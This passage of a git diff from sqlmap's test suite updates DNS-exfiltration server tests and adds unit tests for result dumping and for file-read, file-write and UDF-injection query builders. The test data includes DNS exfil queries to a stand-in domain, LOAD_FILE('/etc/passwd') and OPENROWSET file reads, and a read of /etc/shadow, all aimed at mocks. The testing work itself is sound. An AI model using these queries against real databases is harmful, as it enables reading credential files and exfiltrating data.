L{self.port}. + """ + def __init__(self, sock=None, maxlen=MAX_DNS_REQUESTS): self._requests = collections.deque(maxlen=maxlen) self._lock = threading.Lock() if sock is None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind(("127.0.0.1", port)) + sock.bind(("127.0.0.1", 0)) self._socket = sock + self.port = self._socket.getsockname()[1] self._running = False self._initialized = False + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + + +# Maximum time (seconds) to wait for the daemon server thread to come up, or for a sent +# query to be recorded, before failing loudly instead of spinning/sleeping forever. +WAIT_TIMEOUT = 5.0 + + +def _wait_initialized(srv, timeout=WAIT_TIMEOUT): + """Bounded wait for the server thread to flip _initialized; fail fast if it never does.""" + deadline = time.time() + timeout + while not srv._initialized: + if time.time() > deadline: + raise RuntimeError("DNS server failed to initialize within %.1fs" % timeout) + time.sleep(0.01) + + +def _wait_recorded(srv, token, timeout=WAIT_TIMEOUT): + """Bounded wait until L{token} appears in a recorded request; False on timeout.""" + if hasattr(token, "encode"): + token = token.encode() + deadline = time.time() + timeout + while time.time() <= deadline: + with srv._lock: + if any(token in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + +def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT): + """Bounded wait until pop(prefix, suffix) yields a value; returns it or None on timeout.""" + deadline = time.time() + timeout + while time.time() <= deadline: + popped = srv.pop(prefix, suffix) + if popped: + return popped + time.sleep(0.01) + return None + class _SendFailOnceSocket(object): """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" @@ -95,31 +146,30 @@ def test_empty_query_yields_empty_response(self): class TestDNSServerRoundTrip(unittest.TestCase): - PORT = 5471 - @classmethod def setUpClass(cls): - cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv = _HighPortDNSServer() cls.srv.run() - while not cls.srv._initialized: - time.sleep(0.02) + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None def _send(self, name): c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(3) - c.sendto(build_query(name), ("127.0.0.1", self.PORT)) + c.sendto(build_query(name), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - for _ in range(100): - with self.srv._lock: - if any(name.encode() in r for r in self.srv._requests): - return True - time.sleep(0.01) - return False + return _wait_recorded(self.srv, name) def test_roundtrip_and_pop(self): self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) @@ -132,49 +182,40 @@ def test_non_a_query_type_still_recorded(self): # labels regardless of qtype, and the server records before crafting the (A) response c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(2) - c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.PORT)) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - for _ in range(200): - if self.srv.pop("ggg", "hhh"): - return - time.sleep(0.01) - self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + if not _wait_popped(self.srv, "ggg", "hhh"): + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") class TestDNSServerMemoryBound(unittest.TestCase): """The server records every received query (it listens on :53); only matching ones are popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" - PORT = 5475 def test_requests_are_bounded_and_recent_kept(self): - srv = _HighPortDNSServer(self.PORT, maxlen=50) + srv = _HighPortDNSServer(maxlen=50) + self.addCleanup(srv.close) srv.run() - while not srv._initialized: - time.sleep(0.02) + _wait_initialized(srv) c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for i in range(200): # flood well past the bound - c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", self.PORT)) + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", srv.port)) c.close() # a legit exfil query right after the flood must still be capturable c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) - c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", self.PORT)) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", srv.port)) try: c2.recvfrom(512) except socket.timeout: pass finally: c2.close() - popped = None - for _ in range(200): - popped = srv.pop("ppp", "qqq") - if popped: - break - time.sleep(0.01) + popped = _wait_popped(srv, "ppp", "qqq") with srv._lock: n = len(srv._requests) self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) @@ -182,11 +223,11 @@ def test_requests_are_bounded_and_recent_kept(self): class TestDNSServerResilience(unittest.TestCase): - def _make(self, port, sock=None): - srv = _HighPortDNSServer(port, sock=sock) + def _make(self, sock=None): + srv = _HighPortDNSServer(sock=sock) + self.addCleanup(srv.close) srv.run() - while not srv._initialized: - time.sleep(0.02) + _wait_initialized(srv) return srv def _query(self, port, name): @@ -200,34 +241,28 @@ def _query(self, port, name): finally: c.close() - def _recorded(self, srv, token, tries=120): - for _ in range(tries): - with srv._lock: - if any(token.encode() in r for r in srv._requests): - return True - time.sleep(0.01) - return False + def _recorded(self, srv, token): + return _wait_recorded(srv, token) def test_survives_transient_send_error(self): - port = 5472 + # ephemeral bind, then wrap the bound socket so its first sendto() raises s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - s.bind(("127.0.0.1", port)) - srv = self._make(port, sock=_SendFailOnceSocket(s)) - self._query(port, "aaa.11.bbb.exfil.test") # first sendto raises - self._query(port, "ccc.22.ddd.exfil.test") # must still be served + s.bind(("127.0.0.1", 0)) + srv = self._make(sock=_SendFailOnceSocket(s)) + self._query(srv.port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(srv.port, "ccc.22.ddd.exfil.test") # must still be served self.assertTrue(self._recorded(srv, "ccc.22.ddd"), "DNS server died after one failing sendto (lost subsequent exfil)") self.assertTrue(srv._running) def test_survives_malformed_packets(self): - port = 5473 - srv = self._make(port) + srv = self._make() c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): - c.sendto(junk, ("127.0.0.1", port)) + c.sendto(junk, ("127.0.0.1", srv.port)) c.close() - self._query(port, "ok.33.fine.exfil.test") + self._query(srv.port, "ok.33.fine.exfil.test") self.assertTrue(self._recorded(srv, "ok.33.fine"), "DNS server died on a malformed packet") @@ -235,14 +270,19 @@ def test_survives_malformed_packets(self): class TestDNSServerConcurrency(unittest.TestCase): """Under --threads, many workers fire DNS queries and call pop() while the server thread appends - all guarded by one lock. Each worker must get back exactly its own data.""" - PORT = 5474 @classmethod def setUpClass(cls): - cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv = _HighPortDNSServer() cls.srv.run() - while not cls.srv._initialized: - time.sleep(0.02) + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None def test_concurrent_send_and_pop_no_crosstalk(self): import binascii, re @@ -258,19 +298,14 @@ def worker(i): c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) c.settimeout(2) try: - c.sendto(build_query(host), ("127.0.0.1", self.PORT)) + c.sendto(build_query(host), ("127.0.0.1", self.srv.port)) try: c.recvfrom(512) except socket.timeout: pass finally: c.close() - got = None - for _ in range(200): - got = self.srv.pop(prefix, suffix) - if got: - break - time.sleep(0.01) + got = _wait_popped(self.srv, prefix, suffix) if not got: errors.append("worker %d: never popped its query" % i); return m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py new file mode 100644 index 00000000000..ce9076c6ba1 --- /dev/null +++ b/tests/test_dump_format.py @@ -0,0 +1,410 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Output formatting of the result dumper (lib/core/dump.py) and the SQLite +replication backend (lib/core/replication.py). + +dump.Dump turns extracted DB structures (schemas, table/column listings, row +counts, single facts, user lists) into the human-readable ASCII tables printed +to the console, and serializes per-table row data to CSV / HTML / SQLite files. +None of that needs a live target, network or DBMS: the console renderers route +every line through Dump._write (overridden here to capture instead of print), +and the file renderers just write to a path we point at a temp dir. These tests +pin the rendered layout/escaping contracts so a formatting regression is caught +without an end-to-end scan. +""" + +import io +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict as _PlainOrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT +from lib.core.replication import Replication + + +# --- console-rendering tests (no files): capture every Dump._write line -------------------------- + +class _CaptureCase(unittest.TestCase): + """Base for the console renderers: pins a neutral case-preserving DBMS, disables api/report + side channels, and replaces Dump._write with an in-memory capture so nothing hits stdout.""" + + _CONF_KEYS = ("api", "reportCollector", "dumpFormat", "col", "csvDel", "dumpPath", "dumpFile", + "limitStart", "limitStop", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + conf.api = False + conf.reportCollector = None + conf.col = None + conf.csvDel = "," + self.lines = [] + self.d = Dump() + self.d._write = self._capture + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + + def _capture(self, data, newline=True, console=True, content_type=None): + # mirror Dump._write's own line-vs-space join so multi-call lines reassemble faithfully + self.lines.append("%s%s" % (data, "\n" if newline else " ")) + + def text(self): + return "".join(self.lines) + + +class TestStringAndLister(_CaptureCase): + def test_string_scalar_quoted(self): + # a plain string fact is rendered as "header: 'value'" + self.d.string("current user", "root@localhost") + self.assertIn("current user: 'root@localhost'", self.text()) + + def test_string_multiline_block(self): + # a value containing a newline switches to the fenced ---\n...\n--- block form + self.d.string("banner", "line1\nline2") + out = self.text() + self.assertIn("banner:\n---\nline1\nline2\n---", out) + + def test_string_singleton_list_unwrapped(self): + # a one-element list is unwrapped to the scalar form (not the lister "[N]:" form) + self.d.string("current database", ["testdb"]) + out = self.text() + self.assertIn("current database: 'testdb'", out) + self.assertNotIn("[1]", out) + + def test_lister_sorts_and_counts(self): + # lister prints a "[count]:" header, one "[*] item" per element, sorted case-insensitively + self.d.lister("available databases", ["mysql", "Alpha", "zebra"]) + out = self.text() + self.assertIn("available databases [3]:", out) + body = out[out.index("[3]:"):] + # case-insensitive ascending: Alpha, mysql, zebra + self.assertLess(body.index("[*] Alpha"), body.index("[*] mysql")) + self.assertLess(body.index("[*] mysql"), body.index("[*] zebra")) + + def test_lister_dedupes(self): + # the sort path also de-duplicates (set()) before listing + self.d.lister("database management system users", ["root", "root", "guest"]) + out = self.text() + self.assertIn("database management system users [2]:", out) + self.assertEqual(out.count("[*] root"), 1) + + def test_lister_unsorted_preserves_order(self): + # sort=False (e.g. rFile) keeps insertion order + self.d.lister("files saved to", ["/z", "/a", "/m"], sort=False) + out = self.text() + self.assertLess(out.index("[*] /z"), out.index("[*] /a")) + self.assertLess(out.index("[*] /a"), out.index("[*] /m")) + + +class TestCurrentDb(_CaptureCase): + def test_label_default_dbms(self): + # MySQL is not in the schema/owner special-cased lists -> plain "current database" + self.d.currentDb("testdb") + self.assertIn("current database: 'testdb'", self.text()) + + def test_label_schema_dbms(self): + # Oracle is in the schema-equivalent list -> the label is annotated accordingly + Backend.forceDbms("Oracle") + self.d.currentDb("SYSTEM") + out = self.text() + self.assertIn("equivalent to schema on Oracle", out) + self.assertIn("SYSTEM", out) + + +class TestDbTables(_CaptureCase): + def test_table_listing_box(self): + self.d.dbTables({"testdb": ["users", "logs"]}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("[2 tables]", out) + self.assertIn("| users", out) + self.assertIn("| logs", out) + # box borders present + self.assertIn("+", out) + + def test_single_table_singular(self): + self.d.dbTables({"testdb": ["only"]}) + self.assertIn("[1 table]", self.text()) + + def test_no_tables(self): + self.d.dbTables({}) + self.assertIn("No tables found", self.text()) + + def test_box_width_matches_longest_table(self): + # the border length tracks the longest table name (+2 padding) + self.d.dbTables({"testdb": ["a", "elephant"]}) + out = self.text() + # "elephant" is 8 chars -> a border line of 8+2 = 10 dashes exists + self.assertIn("+%s+" % ("-" * 10), out) + + +class TestDbTableColumns(_CaptureCase): + def test_typed_columns_two_column_box(self): + self.d.dbTableColumns({"testdb": {"users": {"id": "int", "name": "varchar(50)"}}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("Table: users", out) + self.assertIn("[2 columns]", out) + self.assertIn("| Column", out) + self.assertIn("| Type", out) + self.assertIn("int", out) + self.assertIn("varchar(50)", out) + + def test_typeless_columns_single_box(self): + # when no column carries a type, only the Column box is rendered (no Type header) + self.d.dbTableColumns({"testdb": {"users": {"id": None, "name": None}}}) + out = self.text() + self.assertIn("| Column", out) + self.assertNotIn("| Type", out) + + def test_mixed_types_still_show_type_header(self): + # even if the alphabetically-last column is type-less, a Type column must appear + self.d.dbTableColumns({"testdb": {"t": {"aaa": "int", "zzz": None}}}) + self.assertIn("| Type", self.text()) + + +class TestDbTablesCount(_CaptureCase): + def test_count_box_sorted_desc(self): + self.d.dbTablesCount({"testdb": {5: ["small"], 100: ["big"]}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("| Table", out) + self.assertIn("| Entries", out) + # higher count first (reverse sort) + self.assertLess(out.index("big"), out.index("small")) + self.assertIn("100", out) + + +class TestUserSettings(_CaptureCase): + def test_privileges_listed_with_admin_flag(self): + # userSettings accepts (settingsDict, adminsSet); admins get an "(administrator)" tag + settings = ({"root": ["ALL"], "guest": ["SELECT"]}, set(["root"])) + self.d.userSettings("database management system users privileges", settings, "privilege") + out = self.text() + self.assertIn("[*] root (administrator)", out) + self.assertIn("[*] guest", out) + self.assertNotIn("guest (administrator)", out) + self.assertIn("privilege: ALL", out) + self.assertIn("privilege: SELECT", out) + + +# --- file-rendering tests (CSV / HTML / SQLite): point output at a temp dir ---------------------- + +class _FileDumpCase(unittest.TestCase): + _CONF_KEYS = ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", + "limitStart", "limitStop", "csvDel", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-dumpfmt-test") + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _path(self, table_values, ext): + db = table_values["__infos__"]["db"] or "All" + return os.path.join(self.tmp, db, "%s.%s" % (table_values["__infos__"]["table"], ext)) + + def _dump(self, table_values, fmt, ext): + conf.dumpFormat = fmt + self.d.dbTableValues(table_values) + with io.open(self._path(table_values, ext), encoding="utf-8") as f: + return f.read() + + +class TestCsvDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1", "2"]}), + ("name", {"length": 6, "values": ["luther", "fluffy"]}), + ]) + + def test_header_and_rows(self): + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(lines[0].split(","), ["id", "name"]) + self.assertEqual(lines[1].split(","), ["1", "luther"]) + self.assertEqual(lines[2].split(","), ["2", "fluffy"]) + + def test_delimiter_in_value_is_quoted(self): + # RFC-4180: a value containing the delimiter must be wrapped in quotes + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 8, "values": ["x,y"]}), + ("b", {"length": 1, "values": ["z"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + self.assertIn('"x,y"', content) + + def test_null_and_blank_markers(self): + # the display replacements apply to CSV too: DB NULL (" ") -> NULL, empty ("") -> + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 4, "values": [" "]}), + ("b", {"length": 7, "values": [""]}), + ("c", {"length": 1, "values": ["x"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + row = [l for l in content.splitlines() if l.strip()][1] + self.assertEqual(row.split(","), ["NULL", "", "x"]) + + def test_custom_delimiter(self): + conf.csvDel = ";" + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + self.assertEqual(content.splitlines()[0].split(";"), ["id", "name"]) + + +class TestHtmlDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1"]}), + ("name", {"length": 6, "values": ["luther"]}), + ]) + + def test_html_scaffold_and_cells(self): + content = self._dump(self._sample(), DUMP_FORMAT.HTML, "html") + self.assertIn("", content) + self.assertIn("testdb.users", content) + self.assertIn("id", content) + self.assertIn(">name", content) + self.assertIn("1", content) + self.assertIn("luther", content) + self.assertIn("", content) + self.assertIn("", content) + + def test_html_escapes_markup(self): + # a value with HTML metacharacters must be escaped, not emitted raw + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("payload", {"length": 16, "values": [""]}), + ]) + content = self._dump(tv, DUMP_FORMAT.HTML, "html") + self.assertNotIn("", content) + self.assertIn("<", content) + + +class TestSqliteDump(_FileDumpCase): + def test_rows_and_inferred_types(self): + tv = _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "people"}), + ("id", {"length": 2, "values": ["1", "2"]}), # all ints -> INTEGER + ("ratio", {"length": 4, "values": ["1.5", "2.0"]}), # floats -> REAL + ("name", {"length": 6, "values": ["alice", " "]}), # text with a NULL marker + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + dbfile = os.path.join(self.tmp, "testdb.sqlite3") + self.assertTrue(os.path.exists(dbfile)) + conn = sqlite3.connect(dbfile) + try: + cur = conn.cursor() + cur.execute("SELECT id, ratio, name FROM people ORDER BY id") + rows = cur.fetchall() + self.assertEqual(rows[0], (1, 1.5, "alice")) + # the DB NULL marker (" ") was stored as a real NULL, not the "NULL" text + self.assertEqual(rows[1], (2, 2.0, None)) + # column affinities inferred from the values + cur.execute("PRAGMA table_info(people)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["id"], "INTEGER") + self.assertEqual(types["ratio"], "REAL") + self.assertEqual(types["name"], "TEXT") + finally: + conn.close() + + +# --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- + +class TestReplication(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap-repl-test") + self.path = os.path.join(self.tmp, "out.sqlite3") + self.repl = Replication(self.path) + + def tearDown(self): + try: + self.repl.connection.close() + except Exception: + pass + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_create_insert_select_roundtrip(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.beginTransaction() + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + t.endTransaction() + rows = sorted(t.select()) + self.assertEqual(rows, [(1, "alice"), (2, "bob")]) + + def test_select_with_condition(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + self.assertEqual(t.select("name = 'bob'"), [(2, "bob")]) + + def test_insert_wrong_arity_raises(self): + from lib.core.exception import SqlmapValueException + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + with self.assertRaises(SqlmapValueException): + t.insert(["only-one-value"]) + + def test_typeless_table(self): + t = self.repl.createTable("t", ["a", "b"], typeless=True) + t.insert(["x", "y"]) + self.assertEqual(t.select(), [("x", "y")]) + + def test_datatype_str(self): + self.assertEqual(str(Replication.TEXT), "TEXT") + self.assertEqual(str(Replication.INTEGER), "INTEGER") + self.assertIn("DataType", repr(Replication.REAL)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py new file mode 100644 index 00000000000..bcf6da6a49f --- /dev/null +++ b/tests/test_filesystem.py @@ -0,0 +1,736 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the file-read/file-write/UDF-injection SQL & command builders: + + - plugins/generic/filesystem.py (encoding, INSERT/UPDATE query forging, + length probe, read/write dispatch) + - plugins/dbms/mssqlserver/filesystem.py + (debug.exe SCR script, BULK INSERT / + bin->hex extraction, PowerShell & + certutil base64 upload commands) + - lib/takeover/udf.py (sys_exec/sys_eval calls, CREATE FUNCTION + SQL for MySQL/PostgreSQL, remote-path + selection, UDF pruning) + +These methods are (near-)pure string builders given conf/kb plus the injection +layer. Each test drives the real method with inject.goStacked / inject.getValue +(and, for MSSQL, xpCmdshellWriteFile/execCmd) captured, and asserts the EXACT +SQL / command / encoded payload produced -- so a regression in the assembly +logic fails the test. No live target / network / DBMS involved. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.convert import encodeHex, encodeBase64, getText +from lib.core.enums import PAYLOAD + + +# --------------------------------------------------------------------------- # +# shared base: snapshot/restore every global + monkeypatch these tests touch # +# --------------------------------------------------------------------------- # +class _FsBase(unittest.TestCase): + # subclasses set `target_modules` = list of modules whose inject.* we patch + target_modules = () + + # conf fields read by the methods under test + _CONF_KEYS = ("batch", "direct", "fileRead", "fileWrite", "filePath", + "commonFiles", "osPwn", "osCmd", "osShell", "regRead", + "regAdd", "regDel", "tmpPath", "shLib", "encoding") + _KB_KEYS = ("bruteMode", "binaryField", "fileReadMode") + + def setUp(self): + self._conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._kb = {k: kb.get(k) for k in self._KB_KEYS} + self._patched = [] # (obj, attr, original) + + conf.batch = True + conf.direct = True + kb.bruteMode = False + + def tearDown(self): + for obj, attr, orig in reversed(self._patched): + setattr(obj, attr, orig) + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def patch(self, obj, attr, value): + self._patched.append((obj, attr, getattr(obj, attr))) + setattr(obj, attr, value) + return value + + +# --------------------------------------------------------------------------- # +# plugins/generic/filesystem.py # +# --------------------------------------------------------------------------- # +class TestGenericFilesystem(_FsBase): + import plugins.generic.filesystem as module + + def _fs(self): + return self.module.Filesystem() + + # -- fileContentEncode ------------------------------------------------- # + def test_fileContentEncode_hex_single(self): + # single=True -> one element, 0x-prefixed, exact lower-case hex of bytes + out = self._fs().fileContentEncode(b"ABC", "hex", True) + self.assertEqual(out, ["0x414243"]) + + def test_fileContentEncode_base64_single(self): + out = self._fs().fileContentEncode(b"ABC", "base64", True) + self.assertEqual(out, ["'QUJD'"]) + + def test_fileContentEncode_hex_chunked(self): + # 4 bytes -> 8 hex chars; chunkSize=4 -> two 0x-prefixed chunks of 4 chars + out = self._fs().fileContentEncode(b"ABCD", "hex", False, chunkSize=4) + self.assertEqual(out, ["0x4142", "0x4344"]) + + def test_fileContentEncode_base64_chunked(self): + # "ABCD" -> base64 "QUJDRA==" (8 chars); chunkSize=4 -> two quoted chunks + out = self._fs().fileContentEncode(b"ABCD", "base64", False, chunkSize=4) + self.assertEqual(out, ["'QUJD'", "'RA=='"]) + + def test_fileContentEncode_chunk_below_threshold_is_single(self): + # content shorter than chunkSize, single=False -> still one 0x chunk + out = self._fs().fileContentEncode(b"AB", "hex", False, chunkSize=256) + self.assertEqual(out, ["0x4142"]) + + def test_fileEncode_reads_then_encodes(self): + # fileEncode must read the file bytes and delegate to fileContentEncode + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"hello") + try: + out = self._fs().fileEncode(path, "hex", True) + finally: + os.remove(path) + self.assertEqual(out, ["0x%s" % getText(encodeHex(b"hello"))]) + self.assertEqual(out, ["0x68656c6c6f"]) + + # -- fileToSqlQueries -------------------------------------------------- # + def test_fileToSqlQueries_insert_then_concat_update(self): + # first chunk -> INSERT; subsequent -> UPDATE using the DBMS concatenate + # template (MySQL: CONCAT(field, chunk)). + set_dbms("MySQL") + fs = self._fs() + queries = fs.fileToSqlQueries(["0x4142", "0x4344", "0x4546"]) + tbl, fld = fs.fileTblName, fs.tblField + self.assertEqual(queries[0], + "INSERT INTO %s(%s) VALUES (0x4142)" % (tbl, fld)) + self.assertEqual(queries[1], + "UPDATE %s SET %s=CONCAT(%s,0x4344)" % (tbl, fld, fld)) + self.assertEqual(queries[2], + "UPDATE %s SET %s=CONCAT(%s,0x4546)" % (tbl, fld, fld)) + + # -- _checkFileLength -------------------------------------------------- # + def test_checkFileLength_mysql_query_and_samefile(self): + # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # 5 bytes + captured = {} + + def getValue(query, *a, **k): + captured["query"] = query + return "5" + + self.patch(self.module.inject, "getValue", getValue) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertEqual(captured["query"], + "LENGTH(LOAD_FILE('/etc/passwd'))") + self.assertIs(same, True) + + def test_checkFileLength_size_differs(self): + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # local 5 + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + # remote 9 != local 5 -> not the same file + self.assertIs(same, False) + + def test_checkFileLength_mssql_openrowset_stacked(self): + # MSSQL path issues an OPENROWSET BULK INSERT then DATALENGTH probe. + # createSupportTbl lives in the misc mixin; stub it on a subclass so the + # OPENROWSET-building branch runs in isolation. + set_dbms("Microsoft SQL Server") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"ABCD") # 4 bytes + stacked = [] + + class FS(self.module.Filesystem): + def createSupportTbl(self, *a, **k): + pass + + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "4") + fs = FS() + try: + same = fs._checkFileLength(path, "C:\\boot.ini") + finally: + os.remove(path) + tbl, fld = fs.fileTblName, fs.tblField + # createSupportTbl DROP+CREATE, then the OPENROWSET insert + insert = ("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK " + "'C:\\boot.ini', SINGLE_BLOB) AS %s(%s)" + % (tbl, fld, fld, tbl, fld)) + self.assertIn(insert, stacked) + self.assertIs(same, True) + + def test_checkFileLength_not_written_warns_false(self): + # non-positive remote size -> treated as "not written" -> sameFile False + set_dbms("MySQL") + path = os.path.join( + os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"x") + self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertIs(same, False) + + # -- readFile ---------------------------------------------------------- # + def test_readFile_decodes_hex_and_writes(self): + # Drive the generic readFile orchestration with a stubbed stackedReadFile + # returning canned hex; assert the bytes handed to dataToOutFile are the + # decoded content (raw bytes), and the remote name is passed through. + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + return encodeHex(b"secret-data", binary=False) + + def askCheckReadFile(self, localFile, remoteFile): + return None + + def grab(name, data): + written["d"] = (name, data) + return "/out/path" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/etc/shadow") + self.assertEqual(written["d"][0], "/etc/shadow") + self.assertEqual(written["d"][1], b"secret-data") + self.assertEqual(out, ["/out/path"]) + + def test_readFile_listlike_chunks_joined(self): + # list-of-chunks return value gets flattened before hex-decoding + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + # two chunks (each a 1-element list, as inject.getValue returns) + return [[encodeHex(b"AB", binary=False)], + [encodeHex(b"CD", binary=False)]] + + def askCheckReadFile(self, localFile, remoteFile): + return 